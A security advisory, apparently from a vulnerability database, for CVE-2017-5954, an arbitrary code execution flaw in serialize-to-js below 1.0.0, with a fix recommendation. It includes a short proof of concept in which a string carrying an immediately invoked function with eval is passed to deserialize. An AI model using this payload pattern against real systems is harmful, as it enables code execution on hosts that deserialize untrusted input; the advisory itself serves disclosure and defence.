All reports
Critical

Code Execution Through IIFE in serialize-to-js

Affected versions

Affected versions
< 1.0.0
Fixed version
1.0.0

Exploitation

CVE-2017-5954

Probability of exploitation in the next 30 days: 4.46%

FIRST EPSS · 2026-11-22

Description

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

Links

Credits

  • tdunlap607